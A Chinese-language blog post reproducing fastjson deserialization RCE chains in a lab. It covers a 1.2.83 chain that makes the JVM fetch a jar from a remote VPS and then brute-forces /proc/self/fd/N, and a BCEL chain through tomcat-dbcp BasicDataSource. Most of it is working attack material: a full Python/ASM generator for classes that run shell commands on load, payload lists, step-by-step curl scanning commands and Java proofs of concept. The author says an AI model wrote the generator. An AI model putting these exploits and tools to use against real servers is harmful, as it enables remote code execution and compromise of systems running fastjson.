一旦确认 /proc/self/fd 这条读取路子是通的,我们就让 Claude 写了个 jar 生成器,批量产出这些类,并对编号做暴力枚举。
感觉还是好麻烦,因为这个num数字是不确定的,不能单独爆破数字,需要生成几百个jar包,例如E1-E500,E1对应爆破数字1,E500对应爆破500,如果只有一个jar包的话,例如Evil 这个类名加载失败了”或者“Evil 不存在”。 当你在下一次试探 $N=11$ 再次请求 Evil 时,ClassLoader 可能会直接抛出之前的失败缓存,根本不再去尝试读取 FD 11
只要命中,就可以加载。
所以只需要一个jar文件,而这个jar文件有一堆名字不同的.class文件,爆破加载就可以了。
jdk高版本会再defineclass时被拦截。

简单来说就是spring-boot fat jar为了加载内部jar包,实现了LaunchedURLClassLoader,它支持jar协议,checkAutoType函数的getResourceAsStream会去读取资源,如果传入的资源是一个URL地址,也会去访问,这就造成一个SSRF。我们可以利用jar:协议来读取外部的jar包,并且如果外部jar包包含JSONType,那就可以在报错之前触发类加载,但是这个只可以在JDK8上打,如果更高级的jdk会拦截//双斜杠,但是SSRF依然存在,依然可以下载jar包,接下来就是利用/proc/self/fd/N来找到jar包在哪里,再用file:协议加载就避免出现//双斜杠,只要N预测对,就可以RCE。

这个漏洞相当于一个特例,因为普通的ClassLoader,只会在本地寻找文件,找不到就返回null,所以大部分ClassLoader不支持这一条链路,但是SpringBoot Fat Jar算是一个特例,LaunchedURLClassLoader.findResource直接把name喂回了URLClassLoader,而URLClassPath的通用Loader将name根据不同格式解析,最后构成了利用链路。

可以写一个脚本批量生成这个文件

#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
"""  
Batch generator for fastjson 1.2.83 weird-name @JSONType classes.  
  
It generates a jar-like zip containing class entries such as Evil.class/E10.class,  
while each classfile's internal name is the weird name produced by fastjson's  
`typeName.replace('.', '/')` behavior.  
  
Example direct JDK8 chain:  
  payload typeName:  jar:http:..2035896615:2333.g!.Evil  class internal:    jar:http://2035896615:2333/g!/Evil  jar entry:         Evil.class  
Example /proc/self/fd scan chain:  
  payload typeName:  jar:file:.proc.self.fd.11!.E11  class internal:    jar:file:/proc/self/fd/11!/E11  jar entry:         E11.class"""  
import argparse  
import os  
import subprocess  
import sys  
import textwrap  
import urllib.request  
from pathlib import Path  
  
ASM_VERSION = "9.7.1"  
ASM_URL = f"https://repo1.maven.org/maven2/org/ow2/asm/asm/{ASM_VERSION}/asm-{ASM_VERSION}.jar"  
  
JAVA_SRC = r'''  
import org.objectweb.asm.*;  
import java.nio.file.*;  
import java.util.*;  
import java.util.jar.*;  
  
public class BatchWeirdGen {  
    static class Item {        String entry;        String internal;        String cmd;        Item(String entry, String internal, String cmd) {            this.entry = entry;            this.internal = internal;            this.cmd = cmd;        }    }  
    public static void main(String[] args) throws Exception {        if (args.length < 4 || args.length % 3 != 1) {            System.err.println("usage: java BatchWeirdGen <out.jar> <entry> <internalName> <cmd> [...]");            System.exit(2);        }        Path outJar = Paths.get(args[0]);        ArrayList<Item> items = new ArrayList<Item>();        for (int i = 1; i < args.length; i += 3) {            items.add(new Item(args[i], args[i + 1], args[i + 2]));        }        Files.deleteIfExists(outJar);        try (JarOutputStream jos = new JarOutputStream(Files.newOutputStream(outJar))) {            jos.putNextEntry(new JarEntry("META-INF/MANIFEST.MF"));            jos.write("Manifest-Version: 1.0\n\n".getBytes("UTF-8"));            jos.closeEntry();            for (Item it : items) {                jos.putNextEntry(new JarEntry(it.entry));                jos.write(makeClass(it.internal, it.cmd));                jos.closeEntry();                System.out.println(it.entry + " => " + it.internal);            }        }        System.out.println("wrote " + outJar + " classes=" + items.size() + " bytes=" + Files.size(outJar));    }  
    static byte[] makeClass(String internalName, String cmd) {        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES | ClassWriter.COMPUTE_MAXS);        cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internalName, null, "java/lang/Object", null);  
        AnnotationVisitor av = cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true);        av.visitEnd();  
        MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null);        init.visitCode();        init.visitVarInsn(Opcodes.ALOAD, 0);        init.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);        init.visitInsn(Opcodes.RETURN);        init.visitMaxs(0, 0);        init.visitEnd();  
        MethodVisitor cl = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);        cl.visitCode();        cl.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);        cl.visitInsn(Opcodes.ICONST_3);        cl.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String");        cl.visitInsn(Opcodes.DUP);        cl.visitInsn(Opcodes.ICONST_0);        cl.visitLdcInsn(System.getProperty("weird.shell0", "/bin/sh"));        cl.visitInsn(Opcodes.AASTORE);        cl.visitInsn(Opcodes.DUP);        cl.visitInsn(Opcodes.ICONST_1);        cl.visitLdcInsn(System.getProperty("weird.shell1", "-c"));        cl.visitInsn(Opcodes.AASTORE);        cl.visitInsn(Opcodes.DUP);        cl.visitInsn(Opcodes.ICONST_2);        cl.visitLdcInsn(cmd);        cl.visitInsn(Opcodes.AASTORE);        cl.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);        cl.visitInsn(Opcodes.POP);        cl.visitInsn(Opcodes.RETURN);        cl.visitMaxs(0, 0);        cl.visitEnd();        cw.visitEnd();        return cw.toByteArray();    }}  
'''  
  
def find_java_tools(jdk=None):  
    if jdk:  
        java = Path(jdk) / "bin" / ("java.exe" if os.name == "nt" else "java")  
        javac = Path(jdk) / "bin" / ("javac.exe" if os.name == "nt" else "javac")  
        if not java.exists() or not javac.exists():  
            raise SystemExit(f"JDK path invalid: {jdk}")  
        return str(java), str(javac)  
    return "java", "javac"  
  
def ensure_asm(cache_dir):  
    cache_dir.mkdir(parents=True, exist_ok=True)  
    asm = cache_dir / f"asm-{ASM_VERSION}.jar"  
    if not asm.exists():  
        print(f"[+] downloading {ASM_URL}")  
        urllib.request.urlretrieve(ASM_URL, asm)  
    return asm  
  
def parse_names(args):  
    names = []  
    if args.names:  
        for part in args.names.split(','):  
            part = part.strip()  
            if part:  
                names.append(part)  
    if args.start is not None and args.end is not None:  
        for i in range(args.start, args.end + 1):  
            names.append(f"{args.prefix}{i}")  
    if args.single:  
        names.append(args.single)  
    # de-duplicate while preserving order  
    seen, out = set(), []  
    for n in names:  
        if n not in seen:  
            seen.add(n)  
            out.append(n)  
    if not out:  
        raise SystemExit("No class names. Use --single, --names, or --start/--end.")  
    return out  
  
def render_template(tpl, name, index):  
    return tpl.format(name=name, index=index)  
  
def main():  
    ap = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description=textwrap.dedent("""  
    Generate fastjson weird-name @JSONType class jar.  
    Direct JDK8 example:      python batch_weird_fastjson.py --single Evil --out g \  
        --type-template 'jar:http:..2035896615:2333.g!.{name}' \  
        --cmd-template 'id > /tmp/rce-{name}.txt; date >> /tmp/rce-{name}.txt'  
    /proc/self/fd scan example:      python batch_weird_fastjson.py --prefix E --start 10 --end 300 --out fdscan.jar \  
        --type-template 'jar:file:.proc.self.fd.{index}!.{name}' \  
        --cmd-template 'id > /tmp/rce-fd-{index}.txt; date >> /tmp/rce-fd-{index}.txt'    """))  
    group = ap.add_mutually_exclusive_group(required=True)  
    group.add_argument("--single", help="single class simple name, e.g. Evil")  
    group.add_argument("--names", help="comma-separated class simple names, e.g. A,B,C")  
    group.add_argument("--range", nargs=2, metavar=("START", "END"), type=int, help="shortcut for --start START --end END")  
    ap.add_argument("--start", type=int, help="range start, e.g. 10")  
    ap.add_argument("--end", type=int, help="range end, e.g. 300")  
    ap.add_argument("--prefix", default="E", help="range class prefix, default E")  
    ap.add_argument("--out", required=True, help="output jar filename, e.g. g or fdscan.jar")  
    ap.add_argument("--type-template", required=True, help="fastjson @type template. Use {name} and {index} placeholders")  
    ap.add_argument("--entry-template", default="{name}.class", help="jar entry template, default {name}.class")  
    ap.add_argument("--cmd-template", required=True, help="command template executed in <clinit>. Use {name}/{index}")  
    ap.add_argument("--shell", choices=["linux", "windows"], default="linux", help="Runtime.exec shell wrapper")  
    ap.add_argument("--jdk", help="optional JDK path containing bin/java and bin/javac")  
    ap.add_argument("--workdir", default=".weird-build", help="temporary build dir")  
    ap.add_argument("--payloads", default="payloads.txt", help="output payload list file")  
    args = ap.parse_args()  
  
    if args.range:  
        args.start, args.end = args.range  
  
    names = parse_names(args)  
    work = Path(args.workdir).resolve()  
    work.mkdir(parents=True, exist_ok=True)  
    asm = ensure_asm(work)  
    src = work / "BatchWeirdGen.java"  
    src.write_text(JAVA_SRC, encoding="utf-8")  
    java, javac = find_java_tools(args.jdk)  
  
    cp_sep = ";" if os.name == "nt" else ":"  
    try:  
        subprocess.check_call([javac, "--release", "8", "-cp", str(asm), str(src)])  
    except subprocess.CalledProcessError:  
        subprocess.check_call([javac, "-source", "8", "-target", "8", "-cp", str(asm), str(src)])  
  
    shell0, shell1 = ("/bin/sh", "-c") if args.shell == "linux" else ("cmd.exe", "/c")  
    cmd = [java, f"-Dweird.shell0={shell0}", f"-Dweird.shell1={shell1}", "-cp", f"{asm}{cp_sep}{work}", "BatchWeirdGen", args.out]  
  
    payload_lines = []  
    for idx, name in enumerate(names):  
        # If generated by numeric range, {index} means the actual numeric suffix.  
        if args.start is not None and name.startswith(args.prefix):  
            try:  
                index = int(name[len(args.prefix):])  
            except ValueError:  
                index = idx  
        else:  
            index = idx  
        type_name = render_template(args.type_template, name, index)  
        internal_name = type_name.replace('.', '/')  
        entry = render_template(args.entry_template, name, index)  
        exec_cmd = render_template(args.cmd_template, name, index)  
        cmd.extend([entry, internal_name, exec_cmd])  
        payload_lines.append('{"@type":"%s"}' % type_name)  
  
    subprocess.check_call(cmd)  
    Path(args.payloads).write_text("\n".join(payload_lines) + "\n", encoding="utf-8")  
    print(f"[+] wrote payloads: {args.payloads}")  
    print("[+] first payload:")  
    print(payload_lines[0])  
    print(f"[+] total classes: {len(names)}")  
  
if __name__ == "__main__":  
    main()

使用方法

python C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\tools\batch_weird_fastjson.py `
  --jdk D:\application\jdk_25 `
  --range 10 300 `
  --prefix E `
  --out C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\remote-vps-jdk8\fdscan.jar `
  --type-template "jar:file:.proc.self.fd.{index}!.{name}" `
  --cmd-template "id > /tmp/rce-fd-{index}.txt; date >> /tmp/rce-fd-{index}.txt" `
  --shell linux `
  --payloads C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payloads-fdscan.txt

/proc/self/fd 链怎么打

分两步:

第一步:先让 JVM 下载远程 jar

这个请求的作用是让 Java 拉取:

http://121.89.81.39:2333/fdscan

payload:

{"@type":"jar:http:..2035896615:2333.fdscan!.E3"}

发送:

$warm = "C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payload-warm-fdscan.json"

'{"@type":"jar:http:..2035896615:2333.fdscan!.E3"}' |
  Set-Content -NoNewline -Encoding ascii $warm

curl.exe -i -X POST http://127.0.0.1:18080/parse `
  -H "Content-Type: application/json" `
  --data-binary "@$warm"

这一步返回 500 正常,关键看 VPS 日志:

tail -f /tmp/fastjson1283-vps/access.log

应该看到:

GET /fdscan UA=Java/17.0.19

第二步:枚举 /proc/self/fd/N

我已经生成好了 payload 字典:

C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payloads-fdscan.txt

里面类似:

{"@type":"jar:file:.proc.self.fd.3!.E3"}
{"@type":"jar:file:.proc.self.fd.4!.E4"}
{"@type":"jar:file:.proc.self.fd.5!.E5"}
...
{"@type":"jar:file:.proc.self.fd.120!.E120"}

扫描:

$tmp = "C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payload-current.json"

Get-Content C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payloads-fdscan.txt | ForEach-Object {
  Set-Content -NoNewline -Encoding ascii $tmp $_

  curl.exe -s -X POST http://127.0.0.1:18080/parse `
    -H "Content-Type: application/json" `
    --data-binary "@$tmp" | Out-Null
}

验证:

docker exec fastjson1283-vuln sh -c "ls -l /tmp/rce-fd-*.txt 2>/dev/null; cat /tmp/rce-fd-*.txt 2>/dev/null"

成功时会看到:

uid=0(root) gid=0(root) groups=0(root)
hit-fd-15

生成 fdscan jar 的命令

脚本路径:

C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\tools\batch_weird_fastjson.py

生成 E3E120

python C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\tools\batch_weird_fastjson.py `
  --jdk D:\application\jdk_25 `
  --range 3 120 `
  --prefix E `
  --out C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\remote-vps-jdk8\fdscan `
  --type-template "jar:file:.proc.self.fd.{index}!.{name}" `
  --cmd-template "id > /tmp/rce-fd-{index}.txt; date >> /tmp/rce-fd-{index}.txt; echo hit-fd-{index} >> /tmp/rce-fd-{index}.txt" `
  --shell linux `
  --payloads C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\payloads-fdscan.txt

上传到 VPS:

scp C:\Users\Lenovo\Documents\Playground\fastjson-1.2.83-lab\remote-vps-jdk8\fdscan root@121.89.81.39:/tmp/fastjson1283-vps/fdscan

关键点

1. 预热 payload 用 jar:http
{"@type":"jar:http:..2035896615:2333.fdscan!.E3"}

作用:让 JVM 下载远程 jar,并在本地形成打开的临时 fd。

2. 利用 payload 用 jar:file
{"@type":"jar:file:.proc.self.fd.15!.E15"}

fastjson 内部会变成:

jar:file:/proc/self/fd/15!/E15.class

然后从 JVM 已打开的 fd 里读 class,完成加载执行。

3. fd 不固定

这次命中的是:

15
79

下次可能变,所以要批量扫。建议范围:

3-300

不行就扩大到:

3-1024

4. 每轮最好换远程 jar 路径

比如:

/fdscan
/fdscan2
/fdscan3

避免 Java URLClassLoader / JarURLConnection 缓存旧 jar。

我又自己本地试了一下,成功了,可以用刚才那个脚本生成一个jar包,这个jar包里用asm生成了一堆.class文件,可以先加载jar包,

{"@type":"jar:http:..2035896615:7777.fdscan!.E1"}

加载之后再用脚本生成的字典爆破,顺利成功


复现成功。

fastjson-BCEL不出网打法原理分析

前面介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启 Feature.SupportNonPublicField ,并且实际应用中其实不多见所以我们就介绍另外一种 攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但 在实际攻击中还算是比较常见的。

复现环境

<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.20</version> </dependency> // tomcat-bdcp在7还是8版本一下名称叫做dbcp,大家引入的时候注意一下

POC

{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", 
"driverClassLoader": { 
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" 
}, 
"driverClassName": "$$BCEL$$$l$8b......" 
}

正常使用BCEL:

package org.example;  
import com.sun.org.apache.bcel.internal.classfile.Utility;  
import org.springframework.util.FileCopyUtils;  
import com.sun.org.apache.bcel.internal.util.ClassLoader;  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.InputStream;  
  
  
public class fastjsonBcel {  
    public static void main(String[] args) throws Exception {  
        ClassLoader classLoader = new ClassLoader();  
        byte[] bytes = fileToBinArray(new File("C:\\Users\\Lenovo\\Downloads\\Spring-Cloud-Function-Spel-main\\ctf-demo\\target\\classes\\org\\example\\Evil.class"));  
        String code = Utility.encode(bytes, true);  
        classLoader.loadClass("$$BCEL$$" + code).newInstance();  
    } // main 方法在此结束  
  
    // 方法应定义在 class 层级  
    public static byte[] fileToBinArray(File file) {  
        try {  
            InputStream fis = new FileInputStream(file);  
            return FileCopyUtils.copyToByteArray(fis);  
        } catch (Exception ex) {  
            throw new RuntimeException("transform file into bin Array 出错", ex);  
        }  
    }  
}

这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码,网上很多 的人都没有说明,也没有告诉大家如何生成,后面部分会为一步一步说。

com.sun.org.apache.bcel.internal.util里面有一个classLoader类,ClassLoader类里面有一个 loadClass方法,如果满足方法里面的条件就可以动态调用恶意代码,其中恶意代码是通过BCEL格式传入 的。
代码很简单,创建一个对象然后调用loadClass方法,需要注意的是为什么我们需要做编码这一步:String code = Utility.encode(bytes,true);

我们在调用loadClass方法的时候会调用 creatClass方法,这里需要跟进去看看
可以看到在进入到 creatClass方法以后会对数据进行解码,所以在之前我们需要进行编码而且为了满足 条件需要加上

$$BCEL$$

相关的字符串才能绕过if判断。
成功执行命令,那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。

tomcat-dbcp:

结合tomcat-dbcp这个类进行组合达到触发fastjson的目的:
tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法:
getConnection()方法在返回的时候会调用createDataSource()方法:
createDataSource()方法又会调用createConnectionFactory()方法,
问题代码:

driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

正常BCEL的代码:

ClassLoader classLoader = new ClassLoader(); 
classLoader.loadClass("$$BCEL$$"+code).newInstance();

通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的:

public class fastjsonBcel { 
	public static void main(String[] args) throws Exception { 
		ClassLoader classLoader = new ClassLoader(); 
		byte[] bytes = fileToBinArray(new File("D:\\Evil.class")); 
		String code = Utility.encode(bytes,true); 
		BasicDataSource basicDataSource = new BasicDataSource(); 
		basicDataSource.setDriverClassLoader(classLoader); 
		basicDataSource.setDriverClassName("$$BCEL$$"+code); 
		basicDataSource.getConnection(); 
}

换成正常POC测试:

package org.example;  
  
import com.alibaba.fastjson.JSON;  
import com.sun.org.apache.bcel.internal.classfile.Utility;  
import org.springframework.util.FileCopyUtils;  
  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.InputStream;  
  
public class fastjsonBcel {  
    public static void main(String[] args) throws Exception {  
        // 1. 读取 Class 文件并进行 BCEL 编码  
        byte[] bytes = fileToBinArray(new File("C:\\Users\\Lenovo\\Downloads\\Spring-Cloud-Function-Spel-main\\ctf-demo\\target\\classes\\org\\example\\Evil.class"));  
        String code = Utility.encode(bytes, true);  
  
        // 2. 构造 Fastjson BCEL Payload (注意 driverClassLoader 的大小写)  
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +  
                "\"driverClassName\":\"$$BCEL$$" + code + "\"," +  
                "\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";  
  
        // 3. 触发反序列化  
        JSON.parseObject(s);  
    }  
  
    // 补充补全之前缺失的静态方法  
    public static byte[] fileToBinArray(File file) {  
        try {  
            InputStream fis = new FileInputStream(file);  
            return FileCopyUtils.copyToByteArray(fis);  
        } catch (Exception ex) {  
            throw new RuntimeException("transform file into bin Array 出错", ex);  
        }  
    }  
}

成功触发
payload

{
	"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",  
    "driverClassName":"$$BCEL$$code...." ,  
    "driverClassLoader":{
	    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
	}
}
{  
	{  
		"aaa": {  
			"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",  
//这里是tomcat>8的poc,如果小于8的话用到的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource  
			"driverClassLoader": {  
				"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"  
			},  
			"driverClassName": "$$BCEL$$$l$8b$I$A$..."  
		}  
	}:"bbb"  
}

参考文章

https://goodapple.top/archives/832
https://www.anquanke.com/post/id/225439
https://drun1baby.top/2022/08/08/Java反序列化Fastjson篇03-Fastjson各版本绕过分析/#0x09-Fastjson-lt-x3D-1-2-61-通杀
https://www.cnblogs.com/xyylll/p/15818964.html
https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247486627&idx=1&sn=b768bebbd40c7d5b39071c711d9a19aa&scene=21&poc_token=HH8wPWqjp-__uycr_GfxRHLF60AuHD1Ia0LmVYmE
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
https://blog.gm7.org/docs/代码审计/java安全/应用漏洞分析/fastjson1.2.68分析
https://fearsoff.org/cn/research/fastjson-1-2-83-rce
https://cloud.tencent.com/developer/article/2335078

posted @ 2026-08-21 11:25  X|n  阅读(2)  评论(0)    收藏  举报